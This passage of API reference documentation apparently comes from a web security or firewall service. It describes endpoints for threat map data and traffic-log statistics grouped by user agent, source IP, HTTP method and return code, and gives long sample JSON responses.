"line_number": 0, "time": 1587455760000 }, {"id": 34, "line_number": 0, "time": 1587455820000 }, {"id": 35, "line_number": 0, "time": 1587455880000 }, {"id": 36, "line_number": 0, "time": 1587455940000 }, {"id": 37, "line_number": 0, "time": 1587456000000 }, {"id": 38, "line_number": 0, "time": 1587456060000 }, {"id": 39, "line_number": 0, "time": 1587456120000 }, {"id": 40, "line_number": 0, "time": 1587456180000 }, {"id": 41, "line_number": 0, "time": 1587456240000 }, {"id": 42, "line_number": 0, "time": 1587456300000 }, {"id": 43, "line_number": 0, "time": 1587456360000 }, {"id": 44, "line_number": 0, "time": 1587456420000 }, {"id": 45, "line_number": 0, "time": 1587456480000 }, {"id": 46, "line_number": 0, "time": 1587456540000 }, {"id": 47, "line_number": 0, "time": 1587456600000 }, {"id": 48, "line_number": 0, "time": 1587456660000 }, {"id": 49, "line_number": 0, "time": 1587456720000 }, {"id": 50, "line_number": 0, "time": 1587456780000 }, {"id": 51, "line_number": 0, "time": 1587456840000 }, {"id": 52, "line_number": 0, "time": 1587456900000 }, {"id": 53, "line_number": 0, "time": 1587456960000 }, {"id": 54, "line_number": 0, "time": 1587457020000 }, {"id": 55, "line_number": 0, "time": 1587457080000 }, {"id": 56, "line_number": 0, "time": 1587457140000 }, {"id": 57, "line_number": 0, "time": 1587457200000 }, {"id": 58, "line_number": 0, "time": 1587457260000 }, {"id": 59, "line_number": 0, "time": 1587457320000 }, {"id": 60, "line_number": 0, "time": 1587457380000 }, {"id": 61, "line_number": 0, "time": 1587457440000 } ] } ], "start": "1587453879971", "sum_info": {"Block": 61, "HTTP": 0, "HTTPS": 61, "Monitor": 0, "threat_level": "High", "total_number": 61, "total_score": 1830 } } }

Get Threat Map Data

Get the information of threats by geographic region.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

start required	string The start time in millisecond format.
end required	string The end time in millisecond format.
count required	integer <= 2000 An integer, log numbers that will be retrieved in one request. The maximum value is 2000.

Responses

Response samples

200

Content type
application/json

{"details": [ ], "end_time": "1557729179000", "next_msg_id": false, "next_start_time": false, "region": "us-east-1", "total": 0 }

Get Traffic Log Agent Statics

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

type required	string Enum: "summary" "detail" Example: type=summary The type of query result
start_time required	string Example: start_time=1660254596243 The start time of timespan
end_time required	string Example: end_time=1660340996243 The end time of timespan
page	integer >= 1 Example: page=1 The page number of requested information
size	integer [ 1 .. 100 ] Default: 20 Example: size=10 The result table size (1-100)
filter	string For example, for the Agent details table, the filter is {"srccountry": "canada, united state", "http_agent": "Mozilla/5.0*"}

Responses

Response samples

200

Content type
application/json

Example
Get Traffic Log Agent Statics Summary

{"details": {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/104.0.0.0 Safari/537.36": {"count": 17 }, "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0": {"count": 4 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5 skype-url-preview@microsoft.com": {"count": 3 }, "PostmanRuntime/7.29.0": {"count": 6 }, "curl/7.68.0": {"count": 21 } }, "summary": {"count": 145, "end": "1660340996243", "graph": [{"data": [ ], "id": 1, "time": 1660254000000 }, {"data": [ ], "id": 2, "time": 1660254600000 }, {"data": [ ], "id": 3, "time": 1660255200000 }, {"data": [ ], "id": 4, "time": 1660255800000 }, {"data": [ ], "id": 5, "time": 1660256400000 }, {"data": [ ], "id": 6, "time": 1660257000000 }, {"data": [ ], "id": 7, "time": 1660257600000 }, {"data": [ ], "id": 8, "time": 1660258200000 }, {"data": [{"source": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/104.0.0.0 Safari/537.36", "value": {"count_sum": 2 } } ], "id": 9, "time": 1660258800000 }, {"data": [{"source": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/104.0.0.0 Safari/537.36", "value": {"count_sum": 4 } } ], "id": 10, "time": 1660259400000 }, {"data": [ ], "id": 11, "time": 1660260000000 }, {"data": [ ], "id": 12, "time": 1660260600000 }, {"data": [ ], "id": 13, "time": 1660261200000 }, {"data": [ ], "id": 14, "time": 1660261800000 }, {"data": [ ], "id": 15, "time": 1660262400000 }, {"data": [ ], "id": 16, "time": 1660263000000 }, {"data": [ ], "id": 17, "time": 1660263600000 }, {"data": [ ], "id": 18, "time": 1660264200000 }, {"data": [ ], "id": 19, "time": 1660264800000 }, {"data": [ ], "id": 20, "time": 1660265400000 }, {"data": [ ], "id": 21, "time": 1660266000000 }, {"data": [ ], "id": 22, "time": 1660266600000 }, {"data": [ ], "id": 23, "time": 1660267200000 }, {"data": [ ], "id": 24, "time": 1660267800000 }, {"data": [ ], "id": 25, "time": 1660268400000 }, {"data": [ ], "id": 26, "time": 1660269000000 }, {"data": [ ], "id": 27, "time": 1660269600000 }, {"data": [ ], "id": 28, "time": 1660270200000 }, {"data": [ ], "id": 29, "time": 1660270800000 }, {"data": [ ], "id": 30, "time": 1660271400000 }, {"data": [ ], "id": 31, "time": 1660272000000 }, {"data": [ ], "id": 32, "time": 1660272600000 }, {"data": [ ], "id": 33, "time": 1660273200000 }, {"data": [ ], "id": 34, "time": 1660273800000 }, {"data": [ ], "id": 35, "time": 1660274400000 }, {"data": [ ], "id": 36, "time": 1660275000000 }, {"data": [ ], "id": 37, "time": 1660275600000 }, {"data": [ ], "id": 38, "time": 1660276200000 }, {"data": [ ], "id": 39, "time": 1660276800000 }, {"data": [ ], "id": 40, "time": 1660277400000 }, {"data": [ ], "id": 41, "time": 1660278000000 }, {"data": [ ], "id": 42, "time": 1660278600000 }, {"data": [ ], "id": 43, "time": 1660279200000 }, {"data": [ ], "id": 44, "time": 1660279800000 }, {"data": [ ], "id": 45, "time": 1660280400000 }, {"data": [ ], "id": 46, "time": 1660281000000 }, {"data": [ ], "id": 47, "time": 1660281600000 }, {"data": [ ], "id": 48, "time": 1660282200000 }, {"data": [ ], "id": 49, "time": 1660282800000 }, {"data": [ ], "id": 50, "time": 1660283400000 }, {"data": [ ], "id": 51, "time": 1660284000000 }, {"data": [ ], "id": 52, "time": 1660284600000 }, {"data": [ ], "id": 53, "time": 1660285200000 }, {"data": [ ], "id": 54, "time": 1660285800000 }, {"data": [ ], "id": 55, "time": 1660286400000 }, {"data": [ ], "id": 56, "time": 1660287000000 }, {"data": [ ], "id": 57, "time": 1660287600000 }, {"data": [ ], "id": 58, "time": 1660288200000 }, {"data": [ ], "id": 59, "time": 1660288800000 }, {"data": [ ], "id": 60, "time": 1660289400000 }, {"data": [ ], "id": 61, "time": 1660290000000 }, {"data": [ ], "id": 62, "time": 1660290600000 }, {"data": [ ], "id": 63, "time": 1660291200000 }, {"data": [ ], "id": 64, "time": 1660291800000 }, {"data": [ ], "id": 65, "time": 1660292400000 }, {"data": [ ], "id": 66, "time": 1660293000000 }, {"data": [ ], "id": 67, "time": 1660293600000 }, {"data": [ ], "id": 68, "time": 1660294200000 }, {"data": [ ], "id": 69, "time": 1660294800000 }, {"data": [ ], "id": 70, "time": 1660295400000 }, {"data": [ ], "id": 71, "time": 1660296000000 }, {"data": [ ], "id": 72, "time": 1660296600000 }, {"data": [ ], "id": 73, "time": 1660297200000 }, {"data": [ ], "id": 74, "time": 1660297800000 }, {"data": [ ], "id": 75, "time": 1660298400000 }, {"data": [ ], "id": 76, "time": 1660299000000 }, {"data": [ ], "id": 77, "time": 1660299600000 }, {"data": [ ], "id": 78, "time": 1660300200000 }, {"data": [ ], "id": 79, "time": 1660300800000 }, {"data": [ ], "id": 80, "time": 1660301400000 }, {"data": [ ], "id": 81, "time": 1660302000000 }, {"data": [ ], "id": 82, "time": 1660302600000 }, {"data": [ ], "id": 83, "time": 1660303200000 }, {"data": [ ], "id": 84, "time": 1660303800000 }, {"data": [ ], "id": 85, "time": 1660304400000 }, {"data": [ ], "id": 86, "time": 1660305000000 }, {"data": [ ], "id": 87, "time": 1660305600000 }, {"data": [ ], "id": 88, "time": 1660306200000 }, {"data": [ ], "id": 89, "time": 1660306800000 }, {"data": [ ], "id": 90, "time": 1660307400000 }, {"data": [ ], "id": 91, "time": 1660308000000 }, {"data": [ ], "id": 92, "time": 1660308600000 }, {"data": [ ], "id": 93, "time": 1660309200000 }, {"data": [ ], "id": 94, "time": 1660309800000 }, {"data": [ ], "id": 95, "time": 1660310400000 }, {"data": [ ], "id": 96, "time": 1660311000000 }, {"data": [ ], "id": 97, "time": 1660311600000 }, {"data": [ ], "id": 98, "time": 1660312200000 }, {"data": [ ], "id": 99, "time": 1660312800000 }, {"data": [ ], "id": 100, "time": 1660313400000 }, {"data": [ ], "id": 101, "time": 1660314000000 }, {"data": [ ], "id": 102, "time": 1660314600000 }, {"data": [ ], "id": 103, "time": 1660315200000 }, {"data": [ ], "id": 104, "time": 1660315800000 }, {"data": [ ], "id": 105, "time": 1660316400000 }, {"data": [ ], "id": 106, "time": 1660317000000 }, {"data": [ ], "id": 107, "time": 1660317600000 }, {"data": [ ], "id": 108, "time": 1660318200000 }, {"data": [ ], "id": 109, "time": 1660318800000 }, {"data": [ ], "id": 110, "time": 1660319400000 }, {"data": [ ], "id": 111, "time": 1660320000000 }, {"data": [ ], "id": 112, "time": 1660320600000 }, {"data": [ ], "id": 113, "time": 1660321200000 }, {"data": [ ], "id": 114, "time": 1660321800000 }, {"data": [ ], "id": 115, "time": 1660322400000 }, {"data": [ ], "id": 116, "time": 1660323000000 }, {"data": [ ], "id": 117, "time": 1660323600000 }, {"data": [ ], "id": 118, "time": 1660324200000 }, {"data": [{"source": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/104.0.0.0 Safari/537.36", "value": {"count_sum": 1 } } ], "id": 119, "time": 1660324800000 }, {"data": [ ], "id": 120, "time": 1660325400000 }, {"data": [{"source": "PostmanRuntime/7.29.0", "value": {"count_sum": 3 } } ], "id": 121, "time": 1660326000000 }, {"data": [ ], "id": 122, "time": 1660326600000 }, {"data": [ ], "id": 123, "time": 1660327200000 }, {"data": [{"source": "curl/7.68.0", "value": {"count_sum": 3 } } ], "id": 124, "time": 1660327800000 }, {"data": [{"source": "curl/7.68.0", "value": {"count_sum": 12 } } ], "id": 125, "time": 1660328400000 }, {"data": [{"source": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/104.0.0.0 Safari/537.36", "value": {"count_sum": 5 } }, {"source": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", "value": {"count_sum": 4 } }, {"source": "PostmanRuntime/7.29.0", "value": {"count_sum": 3 } }, {"source": "curl/7.68.0", "value": {"count_sum": 1 } } ], "id": 126, "time": 1660329000000 }, {"data": [ ], "id": 127, "time": 1660329600000 }, {"data": [{"source": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/104.0.0.0 Safari/537.36", "value": {"count_sum": 1 } } ], "id": 128, "time": 1660330200000 }, {"data": [{"source": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/104.0.0.0 Safari/537.36", "value": {"count_sum": 4 } }, {"source": "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5 skype-url-preview@microsoft.com", "value": {"count_sum": 3 } }, {"source": "curl/7.68.0", "value": {"count_sum": 4 } } ], "id": 129, "time": 1660330800000 }, {"data": [ ], "id": 130, "time": 1660331400000 }, {"data": [{"source": "curl/7.68.0", "value": {"count_sum": 1 } } ], "id": 131, "time": 1660332000000 }, {"data": [ ], "id": 132, "time": 1660332600000 }, {"data": [ ], "id": 133, "time": 1660333200000 }, {"data": [ ], "id": 134, "time": 1660333800000 }, {"data": [ ], "id": 135, "time": 1660334400000 }, {"data": [ ], "id": 136, "time": 1660335000000 }, {"data": [ ], "id": 137, "time": 1660335600000 }, {"data": [ ], "id": 138, "time": 1660336200000 }, {"data": [ ], "id": 139, "time": 1660336800000 }, {"data": [ ], "id": 140, "time": 1660337400000 }, {"data": [ ], "id": 141, "time": 1660338000000 }, {"data": [ ], "id": 142, "time": 1660338600000 }, {"data": [ ], "id": 143, "time": 1660339200000 }, {"data": [ ], "id": 144, "time": 1660339800000 }, {"data": [ ], "id": 145, "time": 1660340400000 } ], "start": "1660254596243" } }

Get Traffic Log IP Statics

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

type required	string Enum: "summary" "detail" Example: type=summary The type of query result
start_time required	string Example: start_time=1660326562527 The start time of timespan
end_time required	string Example: end_time=1660330162527 The end time of timespan
page	integer >= 1 Example: page=1 The page number of requested information
size	integer [ 1 .. 100 ] Default: 20 Example: size=10 The result table size (1-100)
sort_by	string Default: "count_sum" Enum: "count_sum" "average_http_request_bytes_sum" "average_http_response_bytes_sum" Example: sort_by=count_sum The field which will be sorted
dir required	string Enum: "req" "res" Example: dir=req The direction of the statistics
filter	string For example, for the IP details table, the filter is {"srccountry": "canada, united state", "src": "207.10.."}

Responses

Response samples

200

Content type
application/json

Example
Get Traffic Log IP Statics Request Summary One Hour

{"details": {"15.165.25.45": {"average_http_request_bytes": 166, "count": 1, "country": "Republic Of Korea" }, "96.45.34.121": {"average_http_request_bytes": 9130, "count": 28, "country": "United States" } }, "summary": {"count": 13, "end": "1660330162527", "graph": [{"data": [ ], "id": 1, "time": 1660326300000 }, {"data": [ ], "id": 2, "time": 1660326600000 }, {"data": [ ], "id": 3, "time": 1660326900000 }, {"data": [ ], "id": 4, "time": 1660327200000 }, {"data": [ ], "id": 5, "time": 1660327500000 }, {"data": [ ], "id": 6, "time": 1660327800000 }, {"data": [{"source": "15.165.25.45", "value": {"average_http_request_bytes_sum": 166, "count_sum": 1 } }, {"source": "96.45.34.121", "value": {"average_http_request_bytes_sum": 399, "count_sum": 3 } } ], "id": 7, "time": 1660328100000 }, {"data": [{"source": "96.45.34.121", "value": {"average_http_request_bytes_sum": 1099, "count_sum": 7 } } ], "id": 8, "time": 1660328400000 }, {"data": [{"source": "96.45.34.121", "value": {"average_http_request_bytes_sum": 830, "count_sum": 5 } } ], "id": 9, "time": 1660328700000 }, {"data": [{"source": "96.45.34.121", "value": {"average_http_request_bytes_sum": 5590, "count_sum": 10 } } ], "id": 10, "time": 1660329000000 }, {"data": [{"source": "96.45.34.121", "value": {"average_http_request_bytes_sum": 1212, "count_sum": 3 } } ], "id": 11, "time": 1660329300000 }, {"data": [ ], "id": 12, "time": 1660329600000 }, {"data": [ ], "id": 13, "time": 1660329900000 } ], "start": "1660326562527" } }

Get Traffic Log Method Statics

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

query Parameters

start_time	string the start time of timespan
end_time	string the end time of timespan
type	string the type of query result only support "summary" and for "detail"
size	string the result table size
page	string the page number of requested information
filter	string For example, for the Agent details table, the filter is{"http_method":"get"}

Responses

Response samples

200

Content type
application/json

Example
Get Traffic Log Method Statics Summary

{"details": {"get": {"count": 52 } }, "summary": {"count": 145, "end": "1660341277990", "graph": [{"data": [ ], "id": 1, "time": 1660254600000 }, {"data": [ ], "id": 2, "time": 1660255200000 }, {"data": [ ], "id": 3, "time": 1660255800000 }, {"data": [ ], "id": 4, "time": 1660256400000 }, {"data": [ ], "id": 5, "time": 1660257000000 }, {"data": [ ], "id": 6, "time": 1660257600000 }, {"data": [ ], "id": 7, "time": 1660258200000 }, {"data": [{"source": "get", "value": {"count_sum": 2 } } ], "id": 8, "time": 1660258800000 }, {"data": [{"source": "get", "value": {"count_sum": 4 } } ], "id": 9, "time": 1660259400000 }, {"data": [ ], "id": 10, "time": 1660260000000 }, {"data": [ ], "id": 11, "time": 1660260600000 }, {"data": [ ], "id": 12, "time": 1660261200000 }, {"data": [ ], "id": 13, "time": 1660261800000 }, {"data": [ ], "id": 14, "time": 1660262400000 }, {"data": [ ], "id": 15, "time": 1660263000000 }, {"data": [ ], "id": 16, "time": 1660263600000 }, {"data": [ ], "id": 17, "time": 1660264200000 }, {"data": [ ], "id": 18, "time": 1660264800000 }, {"data": [ ], "id": 19, "time": 1660265400000 }, {"data": [ ], "id": 20, "time": 1660266000000 }, {"data": [ ], "id": 21, "time": 1660266600000 }, {"data": [ ], "id": 22, "time": 1660267200000 }, {"data": [ ], "id": 23, "time": 1660267800000 }, {"data": [ ], "id": 24, "time": 1660268400000 }, {"data": [ ], "id": 25, "time": 1660269000000 }, {"data": [ ], "id": 26, "time": 1660269600000 }, {"data": [ ], "id": 27, "time": 1660270200000 }, {"data": [ ], "id": 28, "time": 1660270800000 }, {"data": [ ], "id": 29, "time": 1660271400000 }, {"data": [ ], "id": 30, "time": 1660272000000 }, {"data": [ ], "id": 31, "time": 1660272600000 }, {"data": [ ], "id": 32, "time": 1660273200000 }, {"data": [ ], "id": 33, "time": 1660273800000 }, {"data": [ ], "id": 34, "time": 1660274400000 }, {"data": [ ], "id": 35, "time": 1660275000000 }, {"data": [ ], "id": 36, "time": 1660275600000 }, {"data": [ ], "id": 37, "time": 1660276200000 }, {"data": [ ], "id": 38, "time": 1660276800000 }, {"data": [ ], "id": 39, "time": 1660277400000 }, {"data": [ ], "id": 40, "time": 1660278000000 }, {"data": [ ], "id": 41, "time": 1660278600000 }, {"data": [ ], "id": 42, "time": 1660279200000 }, {"data": [ ], "id": 43, "time": 1660279800000 }, {"data": [ ], "id": 44, "time": 1660280400000 }, {"data": [ ], "id": 45, "time": 1660281000000 }, {"data": [ ], "id": 46, "time": 1660281600000 }, {"data": [ ], "id": 47, "time": 1660282200000 }, {"data": [ ], "id": 48, "time": 1660282800000 }, {"data": [ ], "id": 49, "time": 1660283400000 }, {"data": [ ], "id": 50, "time": 1660284000000 }, {"data": [ ], "id": 51, "time": 1660284600000 }, {"data": [ ], "id": 52, "time": 1660285200000 }, {"data": [ ], "id": 53, "time": 1660285800000 }, {"data": [ ], "id": 54, "time": 1660286400000 }, {"data": [ ], "id": 55, "time": 1660287000000 }, {"data": [ ], "id": 56, "time": 1660287600000 }, {"data": [ ], "id": 57, "time": 1660288200000 }, {"data": [ ], "id": 58, "time": 1660288800000 }, {"data": [ ], "id": 59, "time": 1660289400000 }, {"data": [ ], "id": 60, "time": 1660290000000 }, {"data": [ ], "id": 61, "time": 1660290600000 }, {"data": [ ], "id": 62, "time": 1660291200000 }, {"data": [ ], "id": 63, "time": 1660291800000 }, {"data": [ ], "id": 64, "time": 1660292400000 }, {"data": [ ], "id": 65, "time": 1660293000000 }, {"data": [ ], "id": 66, "time": 1660293600000 }, {"data": [ ], "id": 67, "time": 1660294200000 }, {"data": [ ], "id": 68, "time": 1660294800000 }, {"data": [ ], "id": 69, "time": 1660295400000 }, {"data": [ ], "id": 70, "time": 1660296000000 }, {"data": [ ], "id": 71, "time": 1660296600000 }, {"data": [ ], "id": 72, "time": 1660297200000 }, {"data": [ ], "id": 73, "time": 1660297800000 }, {"data": [ ], "id": 74, "time": 1660298400000 }, {"data": [ ], "id": 75, "time": 1660299000000 }, {"data": [ ], "id": 76, "time": 1660299600000 }, {"data": [ ], "id": 77, "time": 1660300200000 }, {"data": [ ], "id": 78, "time": 1660300800000 }, {"data": [ ], "id": 79, "time": 1660301400000 }, {"data": [ ], "id": 80, "time": 1660302000000 }, {"data": [ ], "id": 81, "time": 1660302600000 }, {"data": [ ], "id": 82, "time": 1660303200000 }, {"data": [ ], "id": 83, "time": 1660303800000 }, {"data": [ ], "id": 84, "time": 1660304400000 }, {"data": [ ], "id": 85, "time": 1660305000000 }, {"data": [ ], "id": 86, "time": 1660305600000 }, {"data": [ ], "id": 87, "time": 1660306200000 }, {"data": [ ], "id": 88, "time": 1660306800000 }, {"data": [ ], "id": 89, "time": 1660307400000 }, {"data": [ ], "id": 90, "time": 1660308000000 }, {"data": [ ], "id": 91, "time": 1660308600000 }, {"data": [ ], "id": 92, "time": 1660309200000 }, {"data": [ ], "id": 93, "time": 1660309800000 }, {"data": [ ], "id": 94, "time": 1660310400000 }, {"data": [ ], "id": 95, "time": 1660311000000 }, {"data": [ ], "id": 96, "time": 1660311600000 }, {"data": [ ], "id": 97, "time": 1660312200000 }, {"data": [ ], "id": 98, "time": 1660312800000 }, {"data": [ ], "id": 99, "time": 1660313400000 }, {"data": [ ], "id": 100, "time": 1660314000000 }, {"data": [ ], "id": 101, "time": 1660314600000 }, {"data": [ ], "id": 102, "time": 1660315200000 }, {"data": [ ], "id": 103, "time": 1660315800000 }, {"data": [ ], "id": 104, "time": 1660316400000 }, {"data": [ ], "id": 105, "time": 1660317000000 }, {"data": [ ], "id": 106, "time": 1660317600000 }, {"data": [ ], "id": 107, "time": 1660318200000 }, {"data": [ ], "id": 108, "time": 1660318800000 }, {"data": [ ], "id": 109, "time": 1660319400000 }, {"data": [ ], "id": 110, "time": 1660320000000 }, {"data": [ ], "id": 111, "time": 1660320600000 }, {"data": [ ], "id": 112, "time": 1660321200000 }, {"data": [ ], "id": 113, "time": 1660321800000 }, {"data": [ ], "id": 114, "time": 1660322400000 }, {"data": [ ], "id": 115, "time": 1660323000000 }, {"data": [ ], "id": 116, "time": 1660323600000 }, {"data": [ ], "id": 117, "time": 1660324200000 }, {"data": [{"source": "get", "value": {"count_sum": 1 } } ], "id": 118, "time": 1660324800000 }, {"data": [ ], "id": 119, "time": 1660325400000 }, {"data": [{"source": "get", "value": {"count_sum": 3 } } ], "id": 120, "time": 1660326000000 }, {"data": [ ], "id": 121, "time": 1660326600000 }, {"data": [ ], "id": 122, "time": 1660327200000 }, {"data": [{"source": "get", "value": {"count_sum": 4 } } ], "id": 123, "time": 1660327800000 }, {"data": [{"source": "get", "value": {"count_sum": 12 } } ], "id": 124, "time": 1660328400000 }, {"data": [{"source": "get", "value": {"count_sum": 13 } } ], "id": 125, "time": 1660329000000 }, {"data": [ ], "id": 126, "time": 1660329600000 }, {"data": [{"source": "get", "value": {"count_sum": 1 } } ], "id": 127, "time": 1660330200000 }, {"data": [{"source": "get", "value": {"count_sum": 11 } } ], "id": 128, "time": 1660330800000 }, {"data": [ ], "id": 129, "time": 1660331400000 }, {"data": [{"source": "get", "value": {"count_sum": 1 } } ], "id": 130, "time": 1660332000000 }, {"data": [ ], "id": 131, "time": 1660332600000 }, {"data": [ ], "id": 132, "time": 1660333200000 }, {"data": [ ], "id": 133, "time": 1660333800000 }, {"data": [ ], "id": 134, "time": 1660334400000 }, {"data": [ ], "id": 135, "time": 1660335000000 }, {"data": [ ], "id": 136, "time": 1660335600000 }, {"data": [ ], "id": 137, "time": 1660336200000 }, {"data": [ ], "id": 138, "time": 1660336800000 }, {"data": [ ], "id": 139, "time": 1660337400000 }, {"data": [ ], "id": 140, "time": 1660338000000 }, {"data": [ ], "id": 141, "time": 1660338600000 }, {"data": [ ], "id": 142, "time": 1660339200000 }, {"data": [ ], "id": 143, "time": 1660339800000 }, {"data": [ ], "id": 144, "time": 1660340400000 }, {"data": [ ], "id": 145, "time": 1660341000000 } ], "start": "1660254877990" } }

Get Traffic Log Return Code Statics

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

type required	string Enum: "summary" "detail" Example: type=summary The type of query result
start_time required	string Example: start_time=1660326562527 The start time of timespan
end_time required	string Example: end_time=1660330162527 The end time of timespan
page	integer >= 1 Example: page=1 The page number of requested information
size	integer [ 1 .. 100 ] Default: 20 Example: size=10 The result table size (1-100)
filter	string For example, for the Agent details table, the filter is {"http_retcode":"200"}

Responses

Response samples

200

Content type
application/json

Example
Get Traffic Log Retcode Statics Summary

{"details": {"get": {"count": 52 } }, "summary": {"count": 145, "end": "1660341434725", "graph": [{"data": [ ], "id": 1, "time": 1660254600000 }, {"data": [ ], "id": 2, "time": 1660255200000 }, {"data": [ ], "id": 3, "time": 1660255800000 }, {"data": [ ], "id": 4, "time": 1660256400000 }, {"data": [ ], "id": 5, "time": 1660257000000 }, {"data": [ ], "id": 6, "time": 1660257600000 }, {"data": [ ], "id": 7, "time": 1660258200000 }, {"data": [{"source": "get", "value": {"count_sum": 2 } } ], "id": 8, "time": 1660258800000 }, {"data": [{"source": "get", "value": {"count_sum": 4 } } ], "id": 9, "time": 1660259400000 }, {"data": [ ], "id": 10, "time": 1660260000000 }, {"data": [ ], "id": 11, "time": 1660260600000 }, {"data": [ ], "id": 12, "time": 1660261200000 }, {"data": [ ], "id": 13, "time": 1660261800000 }, {"data": [ ], "id": 14, "time": 1660262400000 }, {"data": [ ], "id": 15, "time": 1660263000000 }, {"data": [ ], "id": 16, "time": 1660263600000 }, {"data": [ ], "id": 17, "time": 1660264200000 }, {"data": [ ], "id": 18, "time": 1660264800000 }, {"data": [ ], "id": 19, "time": 1660265400000 }, {"data": [ ], "id": 20, "time": 1660266000000 }, {"data": [ ], "id": 21, "time": 1660266600000 }, {"data": [ ], "id": 22, "time": 1660267200000 }, {"data": [ ], "id": 23, "time": 1660267800000 }, {"data": [ ], "id": 24, "time": 1660268400000 }, {"data": [ ], "id": 25, "time": 1660269000000 }, {"data": [ ], "id": 26, "time": 1660269600000 }, {"data": [ ], "id": 27, "time": 1660270200000 }, {"data": [ ], "id": 28, "time": 1660270800000 }, {"data": [ ], "id": 29, "time": 1660271400000 }, {"data": [ ], "id": 30, "time": 1660272000000 }, {"data": [ ], "id": 31, "time": 1660272600000 }, {"data": [ ], "id": 32, "time": 1660273200000 }, {"data": [ ], "id": 33, "time": 1660273800000 }, {"data": [ ], "id": 34, "time": 1660274400000 }, {"data": [ ], "id": 35, "time": 1660275000000 }, {"data": [ ], "id": 36, "time": 1660275600000 }, {"data": [ ], "id": 37, "time": 1660276200000 }, {"data": [ ], "id": 38, "time": 1660276800000 }, {"data": [ ], "id": 39, "time": 1660277400000 }, {"data": [ ], "id": 40, "time": 1660278000000 }, {"data": [ ], "id": 41, "time": 1660278600000 }, {"data": [ ], "id": 42, "time": 1660279200000 }, {"data": [ ], "id": 43, "time": 1660279800000 }, {"data": [ ], "id": 44, "time": 1660280400000 }, {"data": [ ], "id": 45, "time": 1660281000000 }, {"data": [ ], "id": 46, "time": 1660281600000 }, {"data": [ ], "id": 47, "time": 1660282200000 }, {"data": [ ], "id": 48, "time": 1660282800000 }, {"data": [ ], "id": 49, "time": 1660283400000 }, {"data": [ ], "id": 50, "time": 1660284000000 }, {"data": [ ], "id": 51, "time": 1660284600000 }, {"data": [ ], "id": 52, "time": 1660285200000 }, {"data": [ ], "id": 53, "time": 1660285800000 }, {"data": [ ], "id": 54, "time": 1660286400000 }, {"data": [ ], "id": 55, "time": 1660287000000 }, {"data": [ ], "id": 56, "time": 1660287600000 }, {"data": [ ], "id": 57, "time": 1660288200000 }, {"data": [ ], "id": 58, "time": 1660288800000 }, {"data": [ ], "id": 59, "time": 1660289400000 }, {"data": [ ], "id": 60, "time": 1660290000000 }, {"data": [ ], "id": 61, "time": 1660290600000 }, {"data": [ ], "id": 62, "time": 1660291200000 }, {"data": [ ], "id": 63, "time": 1660291800000 }, {"data": [ ], "id": 64, "time": 1660292400000 }, {"data": [ ], "id": 65, "time": 1660293000000 }, {"data": [ ], "id": 66, "time": 1660293600000 }, {"data": [ ], "id": 67, "time": 1660294200000 }, {"data": [ ], "id": 68, "time": 1660294800000 }, {"data": [ ], "id": 69, "time": 1660295400000 }, {"data": [ ], "id": 70, "time": 1660296000000 }, {"data": [ ], "id": 71, "time": 1660296600000 }, {"data": [ ], "id": 72, "time": 1660297200000 }, {"data": [ ], "id": 73, "time": 1660297800000 }, {"data": [ ], "id": 74, "time": 1660298400000 }, {"data": [ ], "id": 75, "time": 1660299000000 }, {"data": [ ], "id": 76, "time": 1660299600000 }, {"data": [ ], "id": 77, "time": 1660300200000 }, {"data": [ ], "id": 78, "time": 1660300800000 }, {"data": [ ], "id": 79, "time": 1660301400000 }, {"data": [ ], "id": 80, "time": 1660302000000 }, {"data": [ ], "id": 81, "time": 1660302600000 }, {"data": [ ], "id": 82, "time": 1660303200000 }, {"data": [ ], "id": 83, "time": 1660303800000 }, {"data": [ ], "id": 84, "time": 1660304400000 }, {"data": [ ], "id": 85, "time": 1660305000000 }, {"data": [ ], "id": 86, "time": 1660305600000 }, {"data": [ ], "id": 87, "time": 1660306200000 }, {"data": [ ], "id": 88, "time": 1660306800000 }, {"data": [ ], "id": 89, "time": 1660307400000 }, {"data": [ ], "id": 90, "time": 1660308000000 }, {"data": [ ], "id": 91, "time": 1660308600000 }, {"data": [ ], "id": 92, "time": 1660309200000 }, {"data": [ ], "id": 93, "time": 1660309800000 }, {"data": [ ], "id": 94, "time": 1660310400000 }, {"data": [ ], "id": 95, "time": 1660311000000 }, {"data": [ ], "id": 96, "time": 1660311600000 }, {"data": [ ], "id": 97, "time": 1660312200000 }, {"data": [ ], "id": 98, "time": 1660312800000 }, {"data": [ ], "id": 99, "time": 1660313400000 }, {"data": [ ], "id": 100, "time": 1660314000000 }, {"data": [ ], "id": 101, "time": 1660314600000 }, {"data": [ ], "id": 102, "time": 1660315200000 }, {"data": [ ], "id": 103, "time": 1660315800000 }, {"data": [ ], "id": 104, "time": 1660316400000 }, {"data": [ ], "id": 105, "time": 1660317000000 }, {"data": [ ], "id": 106, "time": 1660317600000 }, {"data": [ ], "id": 107, "time": 1660318200000 }, {"data": [ ], "id": 108, "time": 1660318800000 }, {"data": [ ], 